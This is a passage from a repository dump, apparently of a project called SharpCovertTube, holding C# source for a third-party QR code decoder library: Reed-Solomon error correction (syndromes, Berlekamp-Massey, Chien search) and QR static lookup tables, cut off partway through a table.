IndexT = 1; IndexT < DataLength; IndexT++) Total = ReceivedData[IndexT] ^ MultiplyIntByExp(Total, Index); 119 | Syndrome[Index] = Total; 120 | if (Total != 0) Error = true; 121 | } 122 | 123 | // if there is an error return syndrome vector otherwise return null 124 | return Error ? Syndrome : null; 125 | } 126 | 127 | // Modified Berlekamp-Massey 128 | internal static int CalculateSigmaMBM 129 | ( 130 | int[] Sigma, 131 | int[] Omega, 132 | int[] Syndrome, 133 | int ErrCorrCodewords 134 | ) 135 | { 136 | int[] PolyC = new int[ErrCorrCodewords]; 137 | int[] PolyB = new int[ErrCorrCodewords]; 138 | PolyC[1] = 1; 139 | PolyB[0] = 1; 140 | int ErrorControl = 1; 141 | int ErrorCount = 0; // L 142 | int m = -1; 143 | 144 | for (int ErrCorrIndex = 0; ErrCorrIndex < ErrCorrCodewords; ErrCorrIndex++) 145 | { 146 | // Calculate the discrepancy 147 | int Dis = Syndrome[ErrCorrIndex]; 148 | for (int i = 1; i <= ErrorCount; i++) Dis ^= Multiply(PolyB[i], Syndrome[ErrCorrIndex - i]); 149 | 150 | if (Dis != 0) 151 | { 152 | int DisExp = StaticTables.IntToExp[Dis]; 153 | int[] WorkPolyB = new int[ErrCorrCodewords]; 154 | for (int Index = 0; Index <= ErrCorrIndex; Index++) WorkPolyB[Index] = PolyB[Index] ^ MultiplyIntByExp(PolyC[Index], DisExp); 155 | int js = ErrCorrIndex - m; 156 | if (js > ErrorCount) 157 | { 158 | m = ErrCorrIndex - ErrorCount; 159 | ErrorCount = js; 160 | if (ErrorCount > ErrCorrCodewords / 2) return INCORRECTABLE_ERROR; 161 | for (int Index = 0; Index <= ErrorControl; Index++) PolyC[Index] = DivideIntByExp(PolyB[Index], DisExp); 162 | ErrorControl = ErrorCount; 163 | } 164 | PolyB = WorkPolyB; 165 | } 166 | 167 | // shift polynomial right one 168 | Array.Copy(PolyC, 0, PolyC, 1, Math.Min(PolyC.Length - 1, ErrorControl)); 169 | PolyC[0] = 0; 170 | ErrorControl++; 171 | } 172 | 173 | PolynomialMultiply(Omega, PolyB, Syndrome); 174 | Array.Copy(PolyB, 0, Sigma, 0, Math.Min(PolyB.Length, Sigma.Length)); 175 | return ErrorCount; 176 | } 177 | 178 | // Chien search is a fast algorithm for determining roots of polynomials defined over a finite field. 179 | // The most typical use of the Chien search is in finding the roots of error-locator polynomials 180 | // encountered in decoding Reed-Solomon codes and BCH codes. 181 | private static bool ChienSearch 182 | ( 183 | int[] ErrorPosition, 184 | int DataLength, 185 | int ErrorCount, 186 | int[] Sigma 187 | ) 188 | { 189 | // last error 190 | int LastPosition = Sigma[1]; 191 | 192 | // one error 193 | if (ErrorCount == 1) 194 | { 195 | // position is out of range 196 | if (StaticTables.IntToExp[LastPosition] >= DataLength) return false; 197 | 198 | // save the only error position in position array 199 | ErrorPosition[0] = LastPosition; 200 | return true; 201 | } 202 | 203 | // we start at last error position 204 | int PosIndex = ErrorCount - 1; 205 | for (int DataIndex = 0; DataIndex < DataLength; DataIndex++) 206 | { 207 | int DataIndexInverse = 255 - DataIndex; 208 | int Total = 1; 209 | for (int Index = 1; Index <= ErrorCount; Index++) Total ^= MultiplyIntByExp(Sigma[Index], (DataIndexInverse * Index) % 255); 210 | if (Total != 0) continue; 211 | 212 | int Position = StaticTables.ExpToInt[DataIndex]; 213 | LastPosition ^= Position; 214 | ErrorPosition[PosIndex--] = Position; 215 | if (PosIndex == 0) 216 | { 217 | // position is out of range 218 | if (StaticTables.IntToExp[LastPosition] >= DataLength) return false; 219 | ErrorPosition[0] = LastPosition; 220 | return true; 221 | } 222 | } 223 | 224 | // search failed 225 | return false; 226 | } 227 | 228 | private static void ApplyCorrection 229 | ( 230 | byte[] ReceivedData, 231 | int DataLength, 232 | int ErrorCount, 233 | int[] ErrorPosition, 234 | int[] Sigma, 235 | int[] Omega 236 | ) 237 | { 238 | for (int ErrIndex = 0; ErrIndex < ErrorCount; ErrIndex++) 239 | { 240 | int ps = ErrorPosition[ErrIndex]; 241 | int zlog = 255 - StaticTables.IntToExp[ps]; 242 | int OmegaTotal = Omega[0]; 243 | for (int Index = 1; Index < ErrorCount; Index++) OmegaTotal ^= MultiplyIntByExp(Omega[Index], (zlog * Index) % 255); 244 | int SigmaTotal = Sigma[1]; 245 | for (int j = 2; j < ErrorCount; j += 2) SigmaTotal ^= MultiplyIntByExp(Sigma[j + 1], (zlog * j) % 255); 246 | ReceivedData[DataLength - 1 - StaticTables.IntToExp[ps]] ^= (byte)MultiplyDivide(ps, OmegaTotal, SigmaTotal); 247 | } 248 | return; 249 | } 250 | 251 | internal static void PolynominalDivision(byte[] Polynomial, int PolyLength, byte[] Generator, int ErrCorrCodewords) 252 | { 253 | int DataCodewords = PolyLength - ErrCorrCodewords; 254 | 255 | // error correction polynomial division 256 | for (int Index = 0; Index < DataCodewords; Index++) 257 | { 258 | // current first codeword is zero 259 | if (Polynomial[Index] == 0) continue; 260 | 261 | // current first codeword is not zero 262 | int Multiplier = StaticTables.IntToExp[Polynomial[Index]]; 263 | 264 | // loop for error correction coofficients 265 | for (int GeneratorIndex = 0; GeneratorIndex < ErrCorrCodewords; GeneratorIndex++) 266 | { 267 | Polynomial[Index + 1 + GeneratorIndex] = (byte)(Polynomial[Index + 1 + GeneratorIndex] ^ StaticTables.ExpToInt[Generator[GeneratorIndex] + Multiplier]); 268 | } 269 | } 270 | return; 271 | } 272 | 273 | internal static int Multiply 274 | ( 275 | int Int1, 276 | int Int2 277 | ) 278 | { 279 | return (Int1 == 0 || Int2 == 0) ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int1] + StaticTables.IntToExp[Int2]]; 280 | } 281 | 282 | internal static int MultiplyIntByExp 283 | ( 284 | int Int, 285 | int Exp 286 | ) 287 | { 288 | return Int == 0 ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int] + Exp]; 289 | } 290 | 291 | internal static int MultiplyDivide 292 | ( 293 | int Int1, 294 | int Int2, 295 | int Int3 296 | ) 297 | { 298 | return (Int1 == 0 || Int2 == 0) ? 0 : StaticTables.ExpToInt[(StaticTables.IntToExp[Int1] + StaticTables.IntToExp[Int2] - StaticTables.IntToExp[Int3] + 255) % 255]; 299 | } 300 | 301 | internal static int DivideIntByExp 302 | ( 303 | int Int, 304 | int Exp 305 | ) 306 | { 307 | return Int == 0 ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int] - Exp + 255]; 308 | } 309 | 310 | internal static void PolynomialMultiply(int[] Result, int[] Poly1, int[] Poly2) 311 | { 312 | Array.Clear(Result, 0, Result.Length); 313 | for (int Index1 = 0; Index1 < Poly1.Length; Index1++) 314 | { 315 | if (Poly1[Index1] == 0) continue; 316 | int loga = StaticTables.IntToExp[Poly1[Index1]]; 317 | int Index2End = Math.Min(Poly2.Length, Result.Length - Index1); 318 | // = Sum(Poly1[Index1] * Poly2[Index2]) for all Index2 319 | for (int Index2 = 0; Index2 < Index2End; Index2++) 320 | if (Poly2[Index2] != 0) Result[Index1 + Index2] ^= StaticTables.ExpToInt[loga + StaticTables.IntToExp[Poly2[Index2]]]; 321 | } 322 | return; 323 | } 324 | } 325 | } -------------------------------------------------------------------------------- /SharpCovertTube_Service/QRCodeDecoder/ReedSolomon.cs: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////// 2 | // 3 | // QR Code Library 4 | // 5 | // QR Code error correction calculations. 6 | // 7 | // Author: Uzi Granot 8 | // Original Version: 1.0 9 | // Date: June 30, 2018 10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved 11 | // For full version history please look at QRDecoder.cs 12 | // 13 | // QR Code Library C# class library and the attached test/demo 14 | // applications are free software. 15 | // Software developed by this author is licensed under CPOL 1.02. 16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser 17 | // General Public License v3.0. 18 | // 19 | // The solution is made of 3 projects: 20 | // 1. QRCodeDecoderLibrary: QR code decoding. 21 | // 3. QRCodeDecoderDemo: Decode QR code image files. 22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera. 23 | // This demo program is using some of the source modules of 24 | // Camera_Net project published at CodeProject.com: 25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library 26 | // and at GitHub: https://github.com/free5lot/Camera_Net. 27 | // This project is based on DirectShowLib. 28 | // http://sourceforge.net/projects/directshownet/ 29 | // This project includes a modified subset of the source modules. 30 | // 31 | // The main points of CPOL 1.02 subject to the terms of the License are: 32 | // 33 | // Source Code and Executable Files can be used in commercial applications; 34 | // Source Code and Executable Files can be redistributed; and 35 | // Source Code can be modified to create derivative works. 36 | // No claim of suitability, guarantee, or any warranty whatsoever is 37 | // provided. The software is provided "as-is". 38 | // The Article accompanying the Work may not be distributed or republished 39 | // without the Author's consent 40 | // 41 | // For version history please refer to QRDecoder.cs 42 | ///////////////////////////////////////////////////////////////////// 43 | 44 | using System; 45 | 46 | namespace SharpCovertTube_Service.QRCodeDecoder 47 | { 48 | internal class ReedSolomon 49 | { 50 | internal static int INCORRECTABLE_ERROR = -1; 51 | 52 | internal static int CorrectData 53 | ( 54 | byte[] ReceivedData, // recived data buffer with data and error correction code 55 | int DataLength, // length of data in the buffer (note sometimes the array is longer than data) 56 | int ErrCorrCodewords // numer of error correction codewords 57 | ) 58 | { 59 | // calculate syndrome vector 60 | int[] Syndrome = CalculateSyndrome(ReceivedData, DataLength, ErrCorrCodewords); 61 | 62 | // received data has no error 63 | // note: this should not happen because we call this method only if error was detected 64 | if (Syndrome == null) return 0; 65 | 66 | // Modified Berlekamp-Massey 67 | // calculate sigma and omega 68 | int[] Sigma = new int[ErrCorrCodewords / 2 + 2]; 69 | int[] Omega = new int[ErrCorrCodewords / 2 + 1]; 70 | int ErrorCount = CalculateSigmaMBM(Sigma, Omega, Syndrome, ErrCorrCodewords); 71 | 72 | // data cannot be corrected 73 | if (ErrorCount <= 0) return INCORRECTABLE_ERROR; 74 | 75 | // look for error position using Chien search 76 | int[] ErrorPosition = new int[ErrorCount]; 77 | if (!ChienSearch(ErrorPosition, DataLength, ErrorCount, Sigma)) return INCORRECTABLE_ERROR; 78 | 79 | // correct data array based on position array 80 | ApplyCorrection(ReceivedData, DataLength, ErrorCount, ErrorPosition, Sigma, Omega); 81 | 82 | // return error count before it was corrected 83 | return ErrorCount; 84 | } 85 | 86 | // Syndrome vector calculation 87 | // S0 = R0 + R1 + R2 + .... + Rn 88 | // S1 = R0 + R1 * A**1 + R2 * A**2 + .... + Rn * A**n 89 | // S2 = R0 + R1 * A**2 + R2 * A**4 + .... + Rn * A**2n 90 | // .... 91 | // Sm = R0 + R1 * A**m + R2 * A**2m + .... + Rn * A**mn 92 | 93 | internal static int[] CalculateSyndrome 94 | ( 95 | byte[] ReceivedData, // recived data buffer with data and error correction code 96 | int DataLength, // length of data in the buffer (note sometimes the array is longer than data) 97 | int ErrCorrCodewords // numer of error correction codewords 98 | ) 99 | { 100 | // allocate syndrome vector 101 | int[] Syndrome = new int[ErrCorrCodewords]; 102 | 103 | // reset error indicator 104 | bool Error = false; 105 | 106 | // syndrome[zero] special case 107 | // Total = Data[0] + Data[1] + ... Data[n] 108 | int Total = ReceivedData[0]; 109 | for (int SumIndex = 1; SumIndex < DataLength; SumIndex++) Total = ReceivedData[SumIndex] ^ Total; 110 | Syndrome[0] = Total; 111 | if (Total != 0) Error = true; 112 | 113 | // all other synsromes 114 | for (int Index = 1; Index < ErrCorrCodewords; Index++) 115 | { 116 | // Total = Data[0] + Data[1] * Alpha + Data[2] * Alpha ** 2 + ... Data[n] * Alpha ** n 117 | Total = ReceivedData[0]; 118 | for (int IndexT = 1; IndexT < DataLength; IndexT++) Total = ReceivedData[IndexT] ^ MultiplyIntByExp(Total, Index); 119 | Syndrome[Index] = Total; 120 | if (Total != 0) Error = true; 121 | } 122 | 123 | // if there is an error return syndrome vector otherwise return null 124 | return Error ? Syndrome : null; 125 | } 126 | 127 | // Modified Berlekamp-Massey 128 | internal static int CalculateSigmaMBM 129 | ( 130 | int[] Sigma, 131 | int[] Omega, 132 | int[] Syndrome, 133 | int ErrCorrCodewords 134 | ) 135 | { 136 | int[] PolyC = new int[ErrCorrCodewords]; 137 | int[] PolyB = new int[ErrCorrCodewords]; 138 | PolyC[1] = 1; 139 | PolyB[0] = 1; 140 | int ErrorControl = 1; 141 | int ErrorCount = 0; // L 142 | int m = -1; 143 | 144 | for (int ErrCorrIndex = 0; ErrCorrIndex < ErrCorrCodewords; ErrCorrIndex++) 145 | { 146 | // Calculate the discrepancy 147 | int Dis = Syndrome[ErrCorrIndex]; 148 | for (int i = 1; i <= ErrorCount; i++) Dis ^= Multiply(PolyB[i], Syndrome[ErrCorrIndex - i]); 149 | 150 | if (Dis != 0) 151 | { 152 | int DisExp = StaticTables.IntToExp[Dis]; 153 | int[] WorkPolyB = new int[ErrCorrCodewords]; 154 | for (int Index = 0; Index <= ErrCorrIndex; Index++) WorkPolyB[Index] = PolyB[Index] ^ MultiplyIntByExp(PolyC[Index], DisExp); 155 | int js = ErrCorrIndex - m; 156 | if (js > ErrorCount) 157 | { 158 | m = ErrCorrIndex - ErrorCount; 159 | ErrorCount = js; 160 | if (ErrorCount > ErrCorrCodewords / 2) return INCORRECTABLE_ERROR; 161 | for (int Index = 0; Index <= ErrorControl; Index++) PolyC[Index] = DivideIntByExp(PolyB[Index], DisExp); 162 | ErrorControl = ErrorCount; 163 | } 164 | PolyB = WorkPolyB; 165 | } 166 | 167 | // shift polynomial right one 168 | Array.Copy(PolyC, 0, PolyC, 1, Math.Min(PolyC.Length - 1, ErrorControl)); 169 | PolyC[0] = 0; 170 | ErrorControl++; 171 | } 172 | 173 | PolynomialMultiply(Omega, PolyB, Syndrome); 174 | Array.Copy(PolyB, 0, Sigma, 0, Math.Min(PolyB.Length, Sigma.Length)); 175 | return ErrorCount; 176 | } 177 | 178 | // Chien search is a fast algorithm for determining roots of polynomials defined over a finite field. 179 | // The most typical use of the Chien search is in finding the roots of error-locator polynomials 180 | // encountered in decoding Reed-Solomon codes and BCH codes. 181 | private static bool ChienSearch 182 | ( 183 | int[] ErrorPosition, 184 | int DataLength, 185 | int ErrorCount, 186 | int[] Sigma 187 | ) 188 | { 189 | // last error 190 | int LastPosition = Sigma[1]; 191 | 192 | // one error 193 | if (ErrorCount == 1) 194 | { 195 | // position is out of range 196 | if (StaticTables.IntToExp[LastPosition] >= DataLength) return false; 197 | 198 | // save the only error position in position array 199 | ErrorPosition[0] = LastPosition; 200 | return true; 201 | } 202 | 203 | // we start at last error position 204 | int PosIndex = ErrorCount - 1; 205 | for (int DataIndex = 0; DataIndex < DataLength; DataIndex++) 206 | { 207 | int DataIndexInverse = 255 - DataIndex; 208 | int Total = 1; 209 | for (int Index = 1; Index <= ErrorCount; Index++) Total ^= MultiplyIntByExp(Sigma[Index], (DataIndexInverse * Index) % 255); 210 | if (Total != 0) continue; 211 | 212 | int Position = StaticTables.ExpToInt[DataIndex]; 213 | LastPosition ^= Position; 214 | ErrorPosition[PosIndex--] = Position; 215 | if (PosIndex == 0) 216 | { 217 | // position is out of range 218 | if (StaticTables.IntToExp[LastPosition] >= DataLength) return false; 219 | ErrorPosition[0] = LastPosition; 220 | return true; 221 | } 222 | } 223 | 224 | // search failed 225 | return false; 226 | } 227 | 228 | private static void ApplyCorrection 229 | ( 230 | byte[] ReceivedData, 231 | int DataLength, 232 | int ErrorCount, 233 | int[] ErrorPosition, 234 | int[] Sigma, 235 | int[] Omega 236 | ) 237 | { 238 | for (int ErrIndex = 0; ErrIndex < ErrorCount; ErrIndex++) 239 | { 240 | int ps = ErrorPosition[ErrIndex]; 241 | int zlog = 255 - StaticTables.IntToExp[ps]; 242 | int OmegaTotal = Omega[0]; 243 | for (int Index = 1; Index < ErrorCount; Index++) OmegaTotal ^= MultiplyIntByExp(Omega[Index], (zlog * Index) % 255); 244 | int SigmaTotal = Sigma[1]; 245 | for (int j = 2; j < ErrorCount; j += 2) SigmaTotal ^= MultiplyIntByExp(Sigma[j + 1], (zlog * j) % 255); 246 | ReceivedData[DataLength - 1 - StaticTables.IntToExp[ps]] ^= (byte)MultiplyDivide(ps, OmegaTotal, SigmaTotal); 247 | } 248 | return; 249 | } 250 | 251 | internal static void PolynominalDivision(byte[] Polynomial, int PolyLength, byte[] Generator, int ErrCorrCodewords) 252 | { 253 | int DataCodewords = PolyLength - ErrCorrCodewords; 254 | 255 | // error correction polynomial division 256 | for (int Index = 0; Index < DataCodewords; Index++) 257 | { 258 | // current first codeword is zero 259 | if (Polynomial[Index] == 0) continue; 260 | 261 | // current first codeword is not zero 262 | int Multiplier = StaticTables.IntToExp[Polynomial[Index]]; 263 | 264 | // loop for error correction coofficients 265 | for (int GeneratorIndex = 0; GeneratorIndex < ErrCorrCodewords; GeneratorIndex++) 266 | { 267 | Polynomial[Index + 1 + GeneratorIndex] = (byte)(Polynomial[Index + 1 + GeneratorIndex] ^ StaticTables.ExpToInt[Generator[GeneratorIndex] + Multiplier]); 268 | } 269 | } 270 | return; 271 | } 272 | 273 | internal static int Multiply 274 | ( 275 | int Int1, 276 | int Int2 277 | ) 278 | { 279 | return (Int1 == 0 || Int2 == 0) ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int1] + StaticTables.IntToExp[Int2]]; 280 | } 281 | 282 | internal static int MultiplyIntByExp 283 | ( 284 | int Int, 285 | int Exp 286 | ) 287 | { 288 | return Int == 0 ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int] + Exp]; 289 | } 290 | 291 | internal static int MultiplyDivide 292 | ( 293 | int Int1, 294 | int Int2, 295 | int Int3 296 | ) 297 | { 298 | return (Int1 == 0 || Int2 == 0) ? 0 : StaticTables.ExpToInt[(StaticTables.IntToExp[Int1] + StaticTables.IntToExp[Int2] - StaticTables.IntToExp[Int3] + 255) % 255]; 299 | } 300 | 301 | internal static int DivideIntByExp 302 | ( 303 | int Int, 304 | int Exp 305 | ) 306 | { 307 | return Int == 0 ? 0 : StaticTables.ExpToInt[StaticTables.IntToExp[Int] - Exp + 255]; 308 | } 309 | 310 | internal static void PolynomialMultiply(int[] Result, int[] Poly1, int[] Poly2) 311 | { 312 | Array.Clear(Result, 0, Result.Length); 313 | for (int Index1 = 0; Index1 < Poly1.Length; Index1++) 314 | { 315 | if (Poly1[Index1] == 0) continue; 316 | int loga = StaticTables.IntToExp[Poly1[Index1]]; 317 | int Index2End = Math.Min(Poly2.Length, Result.Length - Index1); 318 | // = Sum(Poly1[Index1] * Poly2[Index2]) for all Index2 319 | for (int Index2 = 0; Index2 < Index2End; Index2++) 320 | if (Poly2[Index2] != 0) Result[Index1 + Index2] ^= StaticTables.ExpToInt[loga + StaticTables.IntToExp[Poly2[Index2]]]; 321 | } 322 | return; 323 | } 324 | } 325 | } -------------------------------------------------------------------------------- /SharpCovertTube/QRCodeDecoder/StaticTables.cs: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////// 2 | // 3 | // QR Code Library 4 | // 5 | // QR Code static data tables 6 | // 7 | // Author: Uzi Granot 8 | // Original Version: 1.0 9 | // Date: June 30, 2018 10 | // Copyright (C) 2018-2019 Uzi Granot. All Rights Reserved 11 | // For full version history please look at QRDecoder.cs 12 | // 13 | // QR Code Library C# class library and the attached test/demo 14 | // applications are free software. 15 | // Software developed by this author is licensed under CPOL 1.02. 16 | // Some portions of the QRCodeVideoDecoder are licensed under GNU Lesser 17 | // General Public License v3.0. 18 | // 19 | // The solution is made of 3 projects: 20 | // 1. QRCodeDecoderLibrary: QR code decoding. 21 | // 3. QRCodeDecoderDemo: Decode QR code image files. 22 | // 4. QRCodeVideoDecoder: Decode QR code using web camera. 23 | // This demo program is using some of the source modules of 24 | // Camera_Net project published at CodeProject.com: 25 | // https://www.codeproject.com/Articles/671407/Camera_Net-Library 26 | // and at GitHub: https://github.com/free5lot/Camera_Net. 27 | // This project is based on DirectShowLib. 28 | // http://sourceforge.net/projects/directshownet/ 29 | // This project includes a modified subset of the source modules. 30 | // 31 | // The main points of CPOL 1.02 subject to the terms of the License are: 32 | // 33 | // Source Code and Executable Files can be used in commercial applications; 34 | // Source Code and Executable Files can be redistributed; and 35 | // Source Code can be modified to create derivative works. 36 | // No claim of suitability, guarantee, or any warranty whatsoever is 37 | // provided. The software is provided "as-is". 38 | // The Article accompanying the Work may not be distributed or republished 39 | // without the Author's consent 40 | // 41 | // For version history please refer to QRDecoder.cs 42 | ///////////////////////////////////////////////////////////////////// 43 | 44 | namespace SharpCovertTube.QRCodeDecoder 45 | { 46 | internal class StaticTables 47 | { 48 | // alignment symbols position as function of dimension 49 | internal static readonly byte[][] AlignmentPositionArray = 50 | { 51 | null, 52 | null, 53 | new byte[] { 6, 18}, 54 | new byte[] { 6, 22}, 55 | new byte[] { 6, 26}, 56 | new byte[] { 6, 30}, 57 | new byte[] { 6, 34}, 58 | new byte[] { 6, 22, 38}, 59 | new byte[] { 6, 24, 42}, 60 | new byte[] { 6, 26, 46}, 61 | new byte[] { 6, 28, 50}, 62 | new byte[] { 6, 30, 54}, 63 | new byte[] { 6, 32, 58}, 64 | new byte[] { 6, 34, 62}, 65 | new byte[] { 6, 26, 46, 66}, 66 | new byte[] { 6, 26, 48, 70}, 67 | new byte[] { 6, 26, 50, 74}, 68 | new byte[] { 6, 30, 54, 78}, 69 | new byte[] { 6, 30, 56, 82}, 70 | new byte[] { 6, 30, 58, 86}, 71 | new byte[] { 6, 34, 62, 90}, 72 | new byte[] { 6, 28, 50, 72, 94}, 73 | new byte[] { 6, 26, 50, 74, 98}, 74 | new byte[] { 6, 30, 54, 78, 102}, 75 | new byte[] { 6, 28, 54, 80, 106}, 76 | new byte[] { 6, 32, 58, 84, 110}, 77 | new byte[] { 6, 30, 58, 86, 114}, 78 | new byte[] { 6, 34, 62, 90, 118}, 79 | new byte[] { 6, 26, 50, 74, 98, 122}, 80 | new byte[] { 6, 30, 54, 78, 102, 126}, 81 | new byte[] { 6, 26, 52, 78, 104, 130}, 82 | new byte[] { 6, 30, 56, 82, 108, 134}, 83 | new byte[] { 6, 34, 60, 86, 112, 138}, 84 | new byte[] { 6, 30, 58, 86, 114, 142}, 85 | new byte[] { 6, 34, 62, 90, 118, 146}, 86 | new byte[] { 6, 30, 54, 78, 102, 126, 150}, 87 | new byte[] { 6, 24, 50, 76, 102, 128, 154}, 88 | new byte[] { 6, 28, 54, 80, 106, 132, 158}, 89 | new byte[] { 6, 32, 58, 84, 110, 136, 162}, 90 | new byte[] { 6, 26, 54, 82, 110, 138, 166}, 91 | new byte[] { 6, 30, 58, 86, 114, 142, 170}, 92 | }; 93 | 94 | // maximum code words as function of dimension 95 | internal static readonly int[] MaxCodewordsArray = 96 | {0, 97 | 26, 44, 70, 100, 134, 172, 196, 242, 292, 346, 98 | 404, 466, 532, 581, 655, 733, 815, 901, 991, 1085, 99 | 1156, 1258, 1364, 1474, 1588, 1706, 1828, 1921, 2051, 2185, 100 | 2323, 2465, 2611, 2761, 2876, 3034, 3196, 3362, 3532, 3706 101 | }; 102 | 103 | // Encodable character set: 104 | // 1) numeric data (digits 0 - 9); 105 | // 2) alphanumeric data (digits 0 - 9; upper case letters A -Z; nine other characters: space, $ % * + - . / : ); 106 | // 3) 8-bit byte data (JIS 8-bit character set (Latin and Kana) in accordance with JIS X 0201); 107 | // 4) Kanji characters (Shift JIS character set in accordance with JIS X 0208 Annex 1 Shift Coded 108 | // Representation. Note that Kanji characters in QR Code can have values 8140HEX -9FFCHEX and E040HEX - 109 | // EBBFHEX , which can be compacted into 13 bits.) 110 | 111 | internal static readonly byte[] EncodingTable = 112 | { 113 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 114 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 115 | 36, 45, 45, 45, 37, 38, 45, 45, 45, 45, 39, 40, 45, 41, 42, 43, 116 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 44, 45, 45, 45, 45, 45, 117 | 45, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 118 | 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 45, 45, 45, 45, 45, 119 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 120 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 121 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 122 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 123 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 124 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 125 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 126 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 127 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 128 | 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 129 | }; 130 | 131 | internal static readonly byte[] DecodingTable = 132 | { 133 | (byte) '0', // 0 134 | (byte) '1', // 1 135 | (byte) '2', // 2 136 | (byte) '3', // 3 137 | (byte) '4', // 4 138 | (byte) '5', // 5 139 | (byte) '6', // 6 140 | (byte) '7', // 7 141 | (byte) '8', // 8 142 | (byte) '9', // 9 143 | (byte) 'A', // 10 144 | (byte) 'B', // 11 145 | (byte) 'C', // 12 146 | (byte) 'D', // 13 147 | (byte) 'E', // 14 148 | (byte) 'F', // 15 149 | (byte) 'G', // 16 150 | (byte) 'H', // 17 151 | (byte) 'I', // 18 152 | (byte) 'J', // 19 153 | (byte) 'K', // 20 154 | (byte) 'L', // 21 155 | (byte) 'M', // 22 156 | (byte) 'N', // 23 157 | (byte) 'O', // 24 158 | (byte) 'P', // 25 159 | (byte) 'Q', // 26 160 | (byte) 'R', // 27 161 | (byte) 'S', // 28 162 | (byte) 'T', // 29 163 | (byte) 'U', // 30 164 | (byte) 'V', // 31 165 | (byte) 'W', // 32 166 | (byte) 'X', // 33 167 | (byte) 'Y', // 34 168 | (byte) 'Z', // 35 169 | (byte) ' ', // 36 (space) 170 | (byte) '$', // 37 171 | (byte) '%', // 38 172 | (byte) '*', // 39 173 | (byte) '+', // 40 174 | (byte) '-', // 41 175 | (byte) '.', // 42 176 | (byte) '/', // 43 177 | (byte) ':', // 44 178 | }; 179 | 180 | // Error correction block information 181 | // A-Number of blocks in group 1 182 | internal const int BLOCKS_GROUP1 = 0; 183 | // B-Number of data codewords in blocks of group 1 184 | internal const int DATA_CODEWORDS_GROUP1 = 1; 185 | // C-Number of blocks in group 2 186 | internal const int BLOCKS_GROUP2 = 2; 187 | // D-Number of data codewords in blocks of group 2 188 | internal const int DATA_CODEWORDS_GROUP2 = 3; 189 | 190 | internal static readonly byte[,] ECBlockInfo = 191 | { 192 | // A, B, C, D 193 | { 1, 19, 0, 0}, // 1-L 194 | { 1, 16, 0, 0}, // 1-M 195 | { 1, 13, 0, 0}, // 1-Q 196 | { 1, 9, 0, 0}, // 1-H 197 | { 1, 34, 0, 0}, // 2-L 198 | { 1, 28, 0, 0}, // 2-M 199 | { 1, 22, 0, 0}, // 2-Q 200 | { 1, 16, 0, 0}, // 2-H 201 | { 1, 55, 0, 0}, // 3-L 202 | { 1, 44, 0, 0}, // 3-M 203 | { 2, 17, 0, 0}, // 3-Q 204 | { 2, 13, 0, 0}, // 3-H 205 | { 1, 80, 0, 0}, // 4-L 206 | { 2, 32, 0, 0}, // 4-M 207 | { 2, 24, 0, 0}, // 4-Q 208 | { 4, 9, 0, 0}, // 4-H 209 | { 1, 108, 0, 0}, // 5-L 210 | { 2, 43, 0, 0}, // 5-M 211 | { 2, 15, 2, 16}, // 5-Q 212 | { 2, 11, 2, 12}, // 5-H 213 | { 2, 68, 0, 0}, // 6-L 214 | { 4, 27, 0, 0}, // 6-M 215 | { 4, 19, 0, 0}, // 6-Q 216 | { 4, 15, 0, 0}, // 6-H 217 | { 2, 78, 0, 0}, // 7-L 218 | { 4, 31, 0, 0}, // 7-M 219 | { 2, 14, 4, 15}, // 7-Q 220 | { 4, 13, 1, 14}, // 7-H 221 | { 2, 97, 0, 0}, // 8-L 222 | { 2, 38, 2, 39}, // 8-M 223 | { 4, 18, 2, 19}, // 8-Q 224 | { 4, 14, 2, 15}, // 8-H 225 | { 2, 116, 0, 0}, // 9-L 226 | { 3, 36, 2, 37}, // 9-M 227 | { 4, 16, 4, 17}, // 9-Q 228 | { 4, 12, 4, 13}, // 9-H 229 | { 2, 68, 2, 69}, // 10-L 230 | { 4, 43, 1, 44}, // 10-M 231 | { 6, 19, 2, 20}, // 10-Q 232 | { 6, 15, 2, 16}, // 10-H 233 | { 4, 81, 0, 0}, // 11-L 234 | { 1, 50, 4, 51}, // 11-M 235 | { 4, 22, 4, 23}, // 11-Q 236 | { 3, 12, 8, 13}, // 11-H 237 | { 2, 92, 2, 93}, // 12-L 238 | { 6, 36, 2, 37}, // 12-M 239 | { 4, 20, 6, 21}, // 12-Q 240 | { 7, 14, 4, 15}, // 12-H 241 | { 4, 107, 0, 0}, // 13-L 242 | { 8, 37, 1, 38}, // 13-M 243 | { 8, 20, 4, 21}, // 13-Q 244 | { 12, 11, 4, 12}, // 13-H 245 | { 3, 115, 1, 116}, // 14-L 246 | { 4, 40, 5, 41}, // 14-M 247 | { 11, 16, 5, 17}, // 14-Q 248 | { 11, 12, 5, 